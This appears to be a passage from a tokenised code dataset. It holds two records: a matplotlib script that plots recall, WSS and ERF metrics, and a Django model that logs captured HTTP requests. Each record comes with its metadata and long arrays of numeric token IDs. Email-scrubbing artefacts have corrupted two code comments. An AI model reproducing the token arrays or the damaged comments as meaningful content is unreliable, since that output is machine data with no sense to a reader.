1610, 1683, 6213, 13, 4706, 2910, 29918, 1272, 29892, 2910, 29918, 303, 4395, 353, 1583, 3032, 10141, 29889, 657, 29918, 1958, 29898, 1958, 29918, 978, 29892, 1583, 3032, 27703, 29892, 1583, 3032, 4012, 1849, 29892, 1583, 3032, 726, 29879, 29892, 13, 462, 462, 462, 1678, 1583, 3032, 29879, 7093, 29892, 1583, 3032, 3027, 29918, 2917, 29892, 3787, 29918, 1958, 29918, 2084, 29897, 13, 4706, 565, 2910, 29918, 1272, 338, 451, 6213, 29901, 13, 9651, 396, 694, 1144, 27988, 10772, 29933, 9972, 2451, 13, 9651, 1018, 29901, 13, 18884, 903, 14480, 17070, 29889, 8382, 703, 3388, 848, 27387, 1159, 13, 18884, 1583, 3032, 842, 29918, 1958, 29918, 1272, 29898, 1958, 29918, 1272, 29897, 13, 18884, 1583, 3032, 1958, 29918, 17314, 353, 2910, 29918, 303, 4395, 13, 13, 18884, 565, 1583, 3032, 1958, 29918, 1272, 29889, 3027, 29889, 275, 29918, 6310, 29901, 13, 462, 1678, 1583, 3032, 842, 29918, 4882, 29898, 20717, 5709, 29889, 29923, 3580, 15631, 29918, 23827, 29897, 13, 13, 462, 1678, 565, 1583, 3032, 1958, 29918, 1272, 338, 6213, 470, 1583, 3032, 1958, 29918, 1272, 29889, 3027, 29889, 275, 29918, 6310, 29901, 13, 462, 4706, 1583, 3032, 842, 29918, 1958, 29918, 1272, 29898, 1958, 29918, 1272, 29897, 13, 13, 18884, 1683, 29901, 13, 462, 1678, 1583, 3032, 842, 29918, 1958, 29918, 1272, 29898, 1958, 29918, 1272, 29897, 13, 13, 462, 1678, 1583, 3032, 842, 29918, 4882, 29898, 20717, 5709, 29889, 8949, 29897, 13, 13, 9651, 5174, 8960, 408, 429, 29901, 13, 18884, 1583, 3032, 842, 29918, 4882, 29898, 20717, 5709, 29889, 3904, 6181, 29918, 4986, 29918, 16320, 1660, 29918, 23827, 29892, 429, 29897, 13, 13, 4706, 1683, 29901, 13, 9651, 1583, 3032, 1188, 3192, 29918, 262, 353, 7700, 13, 9651, 1583, 3032, 842, 29918, 4882, 29898, 20717, 5709, 29889, 3904, 6181, 29918, 4986, 29918, 1525, 29911, 3960, 29923, 12064, 29918, 23827, 29897, 13, 13, 1678, 822, 903, 842, 29918, 4882, 29898, 1311, 29892, 4660, 29892, 429, 29901, 28379, 29961, 2451, 29962, 353, 6213, 1125, 13, 4706, 1480, 353, 6850, 1299, 3308, 29918, 14480, 29918, 1307, 29963, 6670, 29889, 657, 29898, 4882, 29892, 903, 14480, 17070, 29889, 8382, 29897, 13, 13, 4706, 1480, 29918, 4906, 353, 4660, 13, 4706, 565, 429, 338, 451, 6213, 29901, 13, 9651, 1480, 29918, 4906, 353, 285, 29908, 29912, 4882, 1118, 4829, 29901, 426, 710, 29898, 735, 2915, 29908, 13, 13, 4706, 1583, 3032, 4882, 353, 4660, 13, 4706, 1480, 29898, 1188, 29918, 4906, 29897, 13, 13, 1678, 822, 903, 842, 29918, 1958, 29918, 1272, 29898, 1311, 29892, 2910, 29918, 1272, 29901, 7315, 1469, 1125, 13, 4706, 10153, 29918, 10389, 29918, 2749, 353, 12013, 29889, 11207, 5971, 580, 13, 4706, 2910, 29918, 1272, 29889, 3027, 29889, 1272, 29889, 7620, 29898, 2492, 29918, 10389, 29918, 2749, 29892, 3402, 2433, 29925, 9312, 1495, 13, 4706, 1583, 3032, 3027, 353, 10153, 29918, 10389, 29918, 2749, 29889, 657, 1767, 580, 13, 4706, 1583, 3032, 1958, 29918, 1272, 353, 2910, 29918, 1272, 13, 4706, 1583, 3032, 8899, 29918, 3027, 580, 13, 13, 1678, 822, 903, 4801, 522, 29918, 2754, 29898, 1311, 29892, 1904, 29901, 851, 1125, 13, 4706, 565, 1583, 3032, 1454, 1133, 29918, 2754, 338, 451, 6213, 29901, 13, 9651, 736, 1583, 3032, 1454, 1133, 29918, 2754, 13, 4706, 565, 1904, 297, 3450, 29918, 5746, 4741, 7982, 27946, 29901, 13, 9651, 736, 3450, 29918, 5746, 4741, 7982, 27946, 29961, 4299, 29962, 13, 13, 4706, 822, 1051, 29918, 11516, 29918, 4299, 29898, 13506, 267, 1125, 13, 9651, 736, 7431, 29898, 1761, 29898, 4572, 29898, 2892, 921, 29901, 1904, 29889, 27382, 2541, 29898, 29916, 511, 10944, 267, 4961, 1405, 29871, 29900, 13, 13, 4706, 22289, 353, 1051, 29898, 4572, 29898, 2892, 921, 29901, 1051, 29918, 11516, 29918, 4299, 29898, 29916, 29961, 29896, 11724, 16884, 29909, 6227, 6181, 29918, 8787, 29903, 29889, 7076, 22130, 13, 4706, 565, 7431, 29898, 4572, 287, 29897, 1405, 29871, 29900, 29901, 13, 9651, 736, 22289, 29961, 29900, 3816, 29900, 29962, 13, 13, 4706, 736, 8707, 29943, 29918, 26612, 6227, 6181, 29918, 8787, 29918, 29990, 10764, 6488, 29902, 13, 13, 1678, 822, 903, 8899, 29918, 3027, 29898, 1311, 1125, 13, 4706, 565, 1583, 3032, 8899, 29918, 1958, 29918, 3027, 29901, 13, 9651, 1018, 29901, 13, 18884, 565, 1583, 3032, 3027, 338, 451, 6213, 29901, 13, 462, 1678, 1967, 353, 7084, 29889, 3150, 29898, 601, 29889, 11207, 5971, 29898, 1311, 3032, 3027, 876, 13, 462, 1678, 1967, 29889, 7620, 29898, 29888, 29908, 29912, 1311, 3032, 8899, 29918, 1958, 29918, 2084, 6822, 1958, 29918, 3027, 648, 1311, 3032, 10141, 29889, 4299, 1836, 2732, 1159, 13, 13, 9651, 5174, 8960, 408, 429, 29901, 13, 18884, 903, 14480, 17070, 29889, 27392, 29898, 29888, 29908, 2392, 1550, 14238, 1967, 29892, 4829, 29901, 426, 710, 29898, 735, 2915, 1159, 13, 2 ]
docs/stats_explainer.py
msdslab/ASReview-vizualisation
1
78189
"""Create example plot with different metrics. Example ------- python docs/stats_explainer.py """ import matplotlib.pyplot as plt import numpy as np from asreviewcontrib.insights.plot import _fix_start_tick # The recall at a given number of documents read is the fraction of the # relevant records found at that moment. (recall = n_pos_records / n_records) # The old RRF@X (relevant records found) is basically the same as the recall. # The WSS@X (work saved over sampling) is the number of records you need to # read less to find the fraction X of relevant records. (wss = recall - recall_random) # The (my suggestion for a name) ERF@X (extra records found) is the number of # extra relevant records found after reading a fraction X of the total number of # records. # Create fictive data. n_docs = 1000 n_pos_docs = 30 percentages = np.array([x**(1 / 3) for x in np.linspace(0, 1, n_docs)]) n_docs_found = np.round(percentages * n_pos_docs) labels = [ n_docs_found[i + 1] - n_docs_found[i] for i in range(len(n_docs_found) - 1) ] + [0] labels[0] = 1 labels[5] = 1 labels[8] = 1 # Plot the recall curve. fig, ax = plt.subplots() x = list(range(1, n_docs + 1)) # Recall curve. recall = np.cumsum(labels) / np.sum(labels) ax.step(x, recall, where='post') # Random recall_random = np.round(np.linspace(0, n_pos_docs, n_docs)) / np.sum(labels) ax.step(x, recall_random, where='post', color="black") # Add the [email protected] line (recall > 0.5 at 137, recall_random 0.5 at 517). ax.plot((137, 137), (137 / 1000, recall[137]), color='red') erf_x_offset = -70 ax.text(137 + erf_x_offset, (137 / 1000 + recall[137]) * 0.9 / 2, 'ERF', color='red') # Add the [email protected] line. ax.plot((137, 517), (recall[137], recall[137]), color='blue') wss_y_offset = 0.03 ax.text((137 + recall[137] * 1000) / 2, recall[137] + wss_y_offset, 'WSS', color='blue') ax.set_title("Explaining Recall, WSS and ERF") ax.set(xlabel='#', ylabel='Recall') ax.set_ylim([-0.05, 1.05]) ax.set_yticks([0, 0.2, 0.4, 0.6, 0.8, 1.0]) ax.xaxis.get_major_locator().set_params(integer=True) _fix_start_tick(ax) fig.savefig('docs/stats_explainer.png')
[ 1, 9995, 4391, 1342, 6492, 411, 1422, 21556, 29889, 13, 13, 14023, 13, 26589, 13, 13, 4691, 10561, 29914, 16202, 29918, 4548, 433, 4983, 29889, 2272, 13, 15945, 29908, 13, 13, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 12655, 408, 7442, 13, 13, 3166, 408, 27828, 21570, 29889, 1144, 5861, 29889, 5317, 1053, 903, 5878, 29918, 2962, 29918, 24667, 13, 13, 29937, 450, 17386, 472, 263, 2183, 1353, 310, 10701, 1303, 338, 278, 15958, 310, 278, 13, 29937, 8018, 6475, 1476, 472, 393, 3256, 29889, 313, 3757, 497, 353, 302, 29918, 1066, 29918, 3757, 4339, 847, 302, 29918, 3757, 4339, 29897, 13, 13, 29937, 450, 2030, 390, 29934, 29943, 29992, 29990, 313, 276, 6591, 6475, 1476, 29897, 338, 8830, 278, 1021, 408, 278, 17386, 29889, 13, 13, 29937, 450, 399, 1799, 29992, 29990, 313, 1287, 7160, 975, 23460, 29897, 338, 278, 1353, 310, 6475, 366, 817, 304, 13, 29937, 1303, 3109, 304, 1284, 278, 15958, 1060, 310, 8018, 6475, 29889, 313, 29893, 893, 353, 17386, 448, 17386, 29918, 8172, 29897, 13, 13, 29937, 450, 313, 1357, 8998, 363, 263, 1024, 29897, 8982, 29943, 29992, 29990, 313, 17833, 6475, 1476, 29897, 338, 278, 1353, 310, 13, 29937, 4805, 8018, 6475, 1476, 1156, 5183, 263, 15958, 1060, 310, 278, 3001, 1353, 310, 13, 29937, 6475, 29889, 13, 13, 29937, 6204, 26797, 573, 848, 29889, 13, 29876, 29918, 2640, 353, 29871, 29896, 29900, 29900, 29900, 13, 29876, 29918, 1066, 29918, 2640, 353, 29871, 29941, 29900, 13, 13, 25376, 1179, 353, 7442, 29889, 2378, 4197, 29916, 1068, 29898, 29896, 847, 29871, 29941, 29897, 363, 921, 297, 7442, 29889, 1915, 3493, 29898, 29900, 29892, 29871, 29896, 29892, 302, 29918, 2640, 29897, 2314, 13, 29876, 29918, 2640, 29918, 11940, 353, 7442, 29889, 14486, 29898, 25376, 1179, 334, 302, 29918, 1066, 29918, 2640, 29897, 13, 21134, 353, 518, 13, 1678, 302, 29918, 2640, 29918, 11940, 29961, 29875, 718, 29871, 29896, 29962, 448, 302, 29918, 2640, 29918, 11940, 29961, 29875, 29962, 13, 1678, 363, 474, 297, 3464, 29898, 2435, 29898, 29876, 29918, 2640, 29918, 11940, 29897, 448, 29871, 29896, 29897, 13, 29962, 718, 518, 29900, 29962, 13, 21134, 29961, 29900, 29962, 353, 29871, 29896, 13, 21134, 29961, 29945, 29962, 353, 29871, 29896, 13, 21134, 29961, 29947, 29962, 353, 29871, 29896, 13, 13, 29937, 18399, 278, 17386, 11672, 29889, 13, 1003, 29892, 4853, 353, 14770, 29889, 1491, 26762, 580, 13, 13, 29916, 353, 1051, 29898, 3881, 29898, 29896, 29892, 302, 29918, 2640, 718, 29871, 29896, 876, 13, 13, 29937, 3599, 497, 11672, 29889, 13, 3757, 497, 353, 7442, 29889, 29883, 398, 2083, 29898, 21134, 29897, 847, 7442, 29889, 2083, 29898, 21134, 29897, 13, 1165, 29889, 10568, 29898, 29916, 29892, 17386, 29892, 988, 2433, 2490, 1495, 13, 13, 29937, 16968, 13, 3757, 497, 29918, 8172, 353, 7442, 29889, 14486, 29898, 9302, 29889, 1915, 3493, 29898, 29900, 29892, 302, 29918, 1066, 29918, 2640, 29892, 302, 29918, 2640, 876, 847, 7442, 29889, 2083, 29898, 21134, 29897, 13, 1165, 29889, 10568, 29898, 29916, 29892, 17386, 29918, 8172, 29892, 988, 2433, 2490, 742, 2927, 543, 8517, 1159, 13, 13, 29937, 3462, 278, 8982, 29943, 29992, 29889, 29896, 29941, 29955, 1196, 313, 3757, 497, 1405, 29871, 29900, 29889, 29945, 472, 29871, 29896, 29941, 29955, 29892, 17386, 29918, 8172, 29871, 29900, 29889, 29945, 472, 29871, 29945, 29896, 29955, 467, 13, 1165, 29889, 5317, 3552, 29896, 29941, 29955, 29892, 29871, 29896, 29941, 29955, 511, 313, 29896, 29941, 29955, 847, 29871, 29896, 29900, 29900, 29900, 29892, 17386, 29961, 29896, 29941, 29955, 11724, 2927, 2433, 1127, 1495, 13, 261, 29888, 29918, 29916, 29918, 10289, 353, 448, 29955, 29900, 13, 1165, 29889, 726, 29898, 29896, 29941, 29955, 718, 23467, 29918, 29916, 29918, 10289, 29892, 313, 29896, 29941, 29955, 847, 29871, 29896, 29900, 29900, 29900, 718, 17386, 29961, 29896, 29941, 29955, 2314, 334, 29871, 29900, 29889, 29929, 847, 29871, 29906, 29892, 13, 4706, 525, 1001, 29943, 742, 13, 4706, 2927, 2433, 1127, 1495, 13, 29937, 3462, 278, 399, 1799, 29992, 29889, 29945, 1196, 29889, 13, 1165, 29889, 5317, 3552, 29896, 29941, 29955, 29892, 29871, 29945, 29896, 29955, 511, 313, 3757, 497, 29961, 29896, 29941, 29955, 1402, 17386, 29961, 29896, 29941, 29955, 11724, 2927, 2433, 9539, 1495, 13, 29893, 893, 29918, 29891, 29918, 10289, 353, 29871, 29900, 29889, 29900, 29941, 13, 1165, 29889, 726, 3552, 29896, 29941, 29955, 718, 17386, 29961, 29896, 29941, 29955, 29962, 334, 29871, 29896, 29900, 29900, 29900, 29897, 847, 29871, 29906, 29892, 13, 4706, 17386, 29961, 29896, 29941, 29955, 29962, 718, 281, 893, 29918, 29891, 29918, 10289, 29892, 13, 4706, 525, 29956, 1799, 742, 13, 4706, 2927, 2433, 9539, 1495, 13, 13, 1165, 29889, 842, 29918, 3257, 703, 9544, 433, 2827, 3599, 497, 29892, 399, 1799, 322, 8982, 29943, 1159, 13, 1165, 29889, 842, 29898, 29916, 1643, 2433, 29937, 742, 343, 1643, 2433, 4789, 497, 1495, 13, 1165, 29889, 842, 29918, 29891, 2576, 4197, 29899, 29900, 29889, 29900, 29945, 29892, 29871, 29896, 29889, 29900, 29945, 2314, 13, 1165, 29889, 842, 29918, 3637, 7358, 4197, 29900, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29900, 29889, 29946, 29892, 29871, 29900, 29889, 29953, 29892, 29871, 29900, 29889, 29947, 29892, 29871, 29896, 29889, 29900, 2314, 13, 1165, 29889, 29916, 8990, 29889, 657, 29918, 21355, 29918, 2029, 1061, 2141, 842, 29918, 7529, 29898, 16031, 29922, 5574, 29897, 13, 13, 29918, 5878, 29918, 2962, 29918, 24667, 29898, 1165, 29897, 13, 13, 1003, 29889, 7620, 1003, 877, 2640, 29914, 16202, 29918, 4548, 433, 4983, 29889, 2732, 1495, 13, 2 ]
bucket/models.py
passuf/blackhole
0
166731
<filename>bucket/models.py import json import uuid import traceback from picklefield.fields import PickledObjectField from django.db import models from django.utils.translation import ugettext_lazy as _ from django.conf import settings class Bucket(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4) title = models.CharField(_('Title'), max_length=255) description = models.CharField(_('Description'), max_length=255, blank=True, null=True) active = models.BooleanField(_('Active'), default=True) created_at = models.DateTimeField(_('Created at'), auto_now_add=True) modified_at = models.DateTimeField(_('Modified at'), auto_now=True) @property def url(self): return '{base_url}/{id}/'.format(base_url=settings.BASE_URL, id=self.id) def __str__(self): return self.title class Request(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4) bucket = models.ForeignKey(Bucket, related_name='requests', on_delete=models.CASCADE) comments = models.TextField(_('Comments'), blank=True, null=True) method = models.CharField(_('Method'), max_length=255, blank=True, null=True) headers = models.TextField(_('Headers'), blank=True, null=True) remote_address = models.CharField(_('Remote Address'), max_length=255, blank=True, null=True) host = models.CharField(_('Host'), max_length=255, blank=True, null=True) http_referer = models.CharField(_('HTTP Referer'), max_length=255, blank=True, null=True) path = models.CharField(_('Path'), max_length=255, blank=True, null=True) query_strings = models.TextField(_('Query Strings'), blank=True, null=True) body = models.TextField(_('Body'), blank=True, null=True) response_code = models.IntegerField(_('Response Code'), blank=True, null=True) form_data = models.TextField('Form Data', blank=True, null=True) cookies = models.TextField(_('Cookies'), blank=True, null=True) error = models.TextField(_('Error'), blank=True, null=True) custom_values = PickledObjectField(_('Custom Values'), blank=True, null=True) created_at = models.DateTimeField(_('Created at'), auto_now_add=True) modified_at = models.DateTimeField(_('Modified at'), auto_now=True) def __str__(self): if self.method and self.path: return '{method} {path}'.format(method=self.method, path=self.path) return str(self.created_at) class RequestFactory: @staticmethod def from_request(request, bucket): req = Request.objects.create( bucket=bucket, path=request.path, method=request.method, host=request.get_host(), custom_values={}, ) errors = '' header = dict(request.META) # Parse the HEADER try: # Find non-serializable keys keys_to_remove = [] for key in header.keys(): # Remove WSGI related keys if key.startswith('wsgi.'): keys_to_remove.append(key) continue # Try if object is serializable try: json.dumps(header[key]) except Exception: keys_to_remove.append(key) continue # Remove invalid keys for key in keys_to_remove: header.pop(key, None) # Finally try to parse the header req.headers = json.dumps(header) except Exception as e: print(e, traceback.format_exc()) req.headers = header errors += '\n' + str(traceback.format_exc()) # Parse the remote address try: x_forwarded_for = header.get('HTTP_X_FORWARDED_FOR') if x_forwarded_for: req.remote_address = x_forwarded_for.split(',')[0] else: req.remote_address = header.get('REMOTE_ADDR') except Exception as e: print(e, traceback.format_exc()) req.remote_address = 'error' errors += '\n' + str(traceback.format_exc()) # Parse the HTTP Referer try: req.http_referer = header.get('HTTP_REFERER') except Exception as e: print(e, traceback.format_exc()) req.http_referer = 'error' errors += '\n' + str(traceback.format_exc()) # Parse the body try: req.body = json.dumps(request.body.decode('utf-8')) except Exception as e: print(e, traceback.format_exc()) req.body = 'error' errors += '\n' + str(traceback.format_exc()) # Parse GET params try: req.query_strings = json.dumps(request.GET) except Exception as e: print(e, traceback.format_exc()) req.query_strings = 'error' errors += '\n' + str(traceback.format_exc()) # Parse POST params try: req.form_data = json.dumps(request.POST) except Exception as e: print(e, traceback.format_exc()) req.form_data = 'error' errors += '\n' + str(traceback.format_exc()) # Parse Cookies try: req.cookies = json.dumps(request.COOKIES) except Exception as e: print(e, traceback.format_exc()) req.cookies = 'error' errors += '\n' + str(traceback.format_exc()) if errors: req.error = errors req.response_code = 400 # Save the request req.save() return req
[ 1, 529, 9507, 29958, 21454, 29914, 9794, 29889, 2272, 13, 5215, 4390, 13, 5215, 318, 5416, 13, 5215, 9637, 1627, 13, 3166, 5839, 280, 2671, 29889, 9621, 1053, 23868, 839, 2061, 3073, 13, 13, 3166, 9557, 29889, 2585, 1053, 4733, 13, 3166, 9557, 29889, 13239, 29889, 3286, 18411, 1053, 318, 657, 726, 29918, 433, 1537, 408, 903, 13, 3166, 9557, 29889, 5527, 1053, 6055, 13, 13, 13, 1990, 16281, 300, 29898, 9794, 29889, 3195, 1125, 13, 1678, 1178, 353, 4733, 29889, 29965, 11150, 3073, 29898, 16072, 29918, 1989, 29922, 5574, 29892, 2322, 29922, 25118, 29889, 25118, 29946, 29897, 13, 1678, 3611, 353, 4733, 29889, 27890, 7373, 877, 7030, 5477, 4236, 29918, 2848, 29922, 29906, 29945, 29945, 29897, 13, 1678, 6139, 353, 4733, 29889, 27890, 7373, 877, 9868, 5477, 4236, 29918, 2848, 29922, 29906, 29945, 29945, 29892, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 6136, 353, 4733, 29889, 18146, 3073, 7373, 877, 9966, 5477, 2322, 29922, 5574, 29897, 13, 13, 1678, 2825, 29918, 271, 353, 4733, 29889, 11384, 3073, 7373, 877, 20399, 472, 5477, 4469, 29918, 3707, 29918, 1202, 29922, 5574, 29897, 13, 1678, 9120, 29918, 271, 353, 4733, 29889, 11384, 3073, 7373, 877, 2111, 2164, 472, 5477, 4469, 29918, 3707, 29922, 5574, 29897, 13, 13, 1678, 732, 6799, 13, 1678, 822, 3142, 29898, 1311, 1125, 13, 4706, 736, 22372, 3188, 29918, 2271, 6822, 29912, 333, 6822, 4286, 4830, 29898, 3188, 29918, 2271, 29922, 11027, 29889, 25416, 29918, 4219, 29892, 1178, 29922, 1311, 29889, 333, 29897, 13, 13, 1678, 822, 4770, 710, 12035, 1311, 1125, 13, 4706, 736, 1583, 29889, 3257, 13, 13, 13, 1990, 10729, 29898, 9794, 29889, 3195, 1125, 13, 1678, 1178, 353, 4733, 29889, 29965, 11150, 3073, 29898, 16072, 29918, 1989, 29922, 5574, 29892, 2322, 29922, 25118, 29889, 25118, 29946, 29897, 13, 1678, 20968, 353, 4733, 29889, 27755, 2558, 29898, 29933, 2707, 300, 29892, 4475, 29918, 978, 2433, 24830, 742, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29897, 13, 1678, 6589, 353, 4733, 29889, 15778, 7373, 877, 1523, 1860, 5477, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 1158, 353, 4733, 29889, 27890, 7373, 877, 4062, 5477, 4236, 29918, 2848, 29922, 29906, 29945, 29945, 29892, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 9066, 353, 4733, 29889, 15778, 7373, 877, 18163, 5477, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 7592, 29918, 7328, 353, 4733, 29889, 27890, 7373, 877, 20224, 16428, 5477, 4236, 29918, 2848, 29922, 29906, 29945, 29945, 29892, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 3495, 353, 4733, 29889, 27890, 7373, 877, 8514, 5477, 4236, 29918, 2848, 29922, 29906, 29945, 29945, 29892, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 1732, 29918, 20275, 261, 353, 4733, 29889, 27890, 7373, 877, 10493, 4118, 261, 5477, 4236, 29918, 2848, 29922, 29906, 29945, 29945, 29892, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 2224, 353, 4733, 29889, 27890, 7373, 877, 2605, 5477, 4236, 29918, 2848, 29922, 29906, 29945, 29945, 29892, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 2346, 29918, 19651, 353, 4733, 29889, 15778, 7373, 877, 3010, 3767, 886, 5477, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 3573, 353, 4733, 29889, 15778, 7373, 877, 8434, 5477, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 2933, 29918, 401, 353, 4733, 29889, 7798, 3073, 7373, 877, 5103, 5920, 5477, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 883, 29918, 1272, 353, 4733, 29889, 15778, 877, 2500, 3630, 742, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 21046, 353, 4733, 29889, 15778, 7373, 877, 19159, 583, 5477, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 1059, 353, 4733, 29889, 15778, 7373, 877, 2392, 5477, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 1678, 2888, 29918, 5975, 353, 23868, 839, 2061, 3073, 7373, 877, 7281, 2630, 1041, 5477, 9654, 29922, 5574, 29892, 1870, 29922, 5574, 29897, 13, 13, 1678, 2825, 29918, 271, 353, 4733, 29889, 11384, 3073, 7373, 877, 20399, 472, 5477, 4469, 29918, 3707, 29918, 1202, 29922, 5574, 29897, 13, 1678, 9120, 29918, 271, 353, 4733, 29889, 11384, 3073, 7373, 877, 2111, 2164, 472, 5477, 4469, 29918, 3707, 29922, 5574, 29897, 13, 13, 1678, 822, 4770, 710, 12035, 1311, 1125, 13, 4706, 565, 1583, 29889, 5696, 322, 1583, 29889, 2084, 29901, 13, 9651, 736, 22372, 5696, 29913, 426, 2084, 29913, 4286, 4830, 29898, 5696, 29922, 1311, 29889, 5696, 29892, 2224, 29922, 1311, 29889, 2084, 29897, 13, 4706, 736, 851, 29898, 1311, 29889, 11600, 29918, 271, 29897, 13, 13, 13, 1990, 10729, 5126, 29901, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 515, 29918, 3827, 29898, 3827, 29892, 20968, 1125, 13, 4706, 12428, 353, 10729, 29889, 12650, 29889, 3258, 29898, 13, 9651, 20968, 29922, 21454, 29892, 13, 9651, 2224, 29922, 3827, 29889, 2084, 29892, 13, 9651, 1158, 29922, 3827, 29889, 5696, 29892, 13, 9651, 3495, 29922, 3827, 29889, 657, 29918, 3069, 3285, 13, 9651, 2888, 29918, 5975, 3790, 1118, 13, 4706, 1723, 13, 13, 4706, 4436, 353, 6629, 13, 4706, 4839, 353, 9657, 29898, 3827, 29889, 2303, 6040, 29897, 13, 13, 4706, 396, 20969, 278, 17714, 3035, 1001, 13, 4706, 1018, 29901, 13, 9651, 396, 10987, 1661, 29899, 15550, 13902, 6611, 13, 9651, 6611, 29918, 517, 29918, 5992, 353, 5159, 13, 9651, 363, 1820, 297, 4839, 29889, 8149, 7295, 13, 18884, 396, 15154, 399, 26016, 29902, 4475, 6611, 13, 18884, 565, 1820, 29889, 27382, 2541, 877, 5652, 3146, 6169, 1125, 13, 462, 1678, 6611, 29918, 517, 29918, 5992, 29889, 4397, 29898, 1989, 29897, 13, 462, 1678, 6773, 13, 13, 18884, 396, 3967, 565, 1203, 338, 7797, 13902, 13, 18884, 1018, 29901, 13, 462, 1678, 4390, 29889, 29881, 17204, 29898, 6672, 29961, 1989, 2314, 13, 18884, 5174, 8960, 29901, 13, 462, 1678, 6611, 29918, 517, 29918, 5992, 29889, 4397, 29898, 1989, 29897, 13, 462, 1678, 6773, 13, 13, 9651, 396, 15154, 8340, 6611, 13, 9651, 363, 1820, 297, 6611, 29918, 517, 29918, 5992, 29901, 13, 18884, 4839, 29889, 7323, 29898, 1989, 29892, 6213, 29897, 13, 13, 9651, 396, 9788, 1018, 304, 6088, 278, 4839, 13, 9651, 12428, 29889, 13662, 353, 4390, 29889, 29881, 17204, 29898, 6672, 29897, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1596, 29898, 29872, 29892, 9637, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 9651, 12428, 29889, 13662, 353, 4839, 13, 9651, 4436, 4619, 11297, 29876, 29915, 718, 851, 29898, 15003, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 13, 4706, 396, 20969, 278, 7592, 3211, 13, 4706, 1018, 29901, 13, 9651, 921, 29918, 11333, 287, 29918, 1454, 353, 4839, 29889, 657, 877, 10493, 29918, 29990, 29918, 22051, 29956, 1718, 2287, 29928, 29918, 22051, 1495, 13, 9651, 565, 921, 29918, 11333, 287, 29918, 1454, 29901, 13, 18884, 12428, 29889, 16674, 29918, 7328, 353, 921, 29918, 11333, 287, 29918, 1454, 29889, 5451, 29317, 29861, 29900, 29962, 13, 9651, 1683, 29901, 13, 18884, 12428, 29889, 16674, 29918, 7328, 353, 4839, 29889, 657, 877, 1525, 29924, 2891, 29923, 29918, 3035, 8353, 1495, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1596, 29898, 29872, 29892, 9637, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 9651, 12428, 29889, 16674, 29918, 7328, 353, 525, 2704, 29915, 13, 9651, 4436, 4619, 11297, 29876, 29915, 718, 851, 29898, 15003, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 13, 4706, 396, 20969, 278, 7331, 4118, 261, 13, 4706, 1018, 29901, 13, 9651, 12428, 29889, 1124, 29918, 20275, 261, 353, 4839, 29889, 657, 877, 10493, 29918, 25866, 1001, 1001, 1495, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1596, 29898, 29872, 29892, 9637, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 9651, 12428, 29889, 1124, 29918, 20275, 261, 353, 525, 2704, 29915, 13, 9651, 4436, 4619, 11297, 29876, 29915, 718, 851, 29898, 15003, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 13, 4706, 396, 20969, 278, 3573, 13, 4706, 1018, 29901, 13, 9651, 12428, 29889, 2587, 353, 4390, 29889, 29881, 17204, 29898, 3827, 29889, 2587, 29889, 13808, 877, 9420, 29899, 29947, 8785, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1596, 29898, 29872, 29892, 9637, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 9651, 12428, 29889, 2587, 353, 525, 2704, 29915, 13, 9651, 4436, 4619, 11297, 29876, 29915, 718, 851, 29898, 15003, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 13, 4706, 396, 20969, 12354, 8636, 13, 4706, 1018, 29901, 13, 9651, 12428, 29889, 1972, 29918, 19651, 353, 4390, 29889, 29881, 17204, 29898, 3827, 29889, 7194, 29897, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1596, 29898, 29872, 29892, 9637, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 9651, 12428, 29889, 1972, 29918, 19651, 353, 525, 2704, 29915, 13, 9651, 4436, 4619, 11297, 29876, 29915, 718, 851, 29898, 15003, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 13, 4706, 396, 20969, 11971, 8636, 13, 4706, 1018, 29901, 13, 9651, 12428, 29889, 689, 29918, 1272, 353, 4390, 29889, 29881, 17204, 29898, 3827, 29889, 5438, 29897, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1596, 29898, 29872, 29892, 9637, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 9651, 12428, 29889, 689, 29918, 1272, 353, 525, 2704, 29915, 13, 9651, 4436, 4619, 11297, 29876, 29915, 718, 851, 29898, 15003, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 13, 4706, 396, 20969, 17278, 583, 13, 4706, 1018, 29901, 13, 9651, 12428, 29889, 15108, 583, 353, 4390, 29889, 29881, 17204, 29898, 3827, 29889, 3217, 8949, 29059, 29897, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1596, 29898, 29872, 29892, 9637, 1627, 29889, 4830, 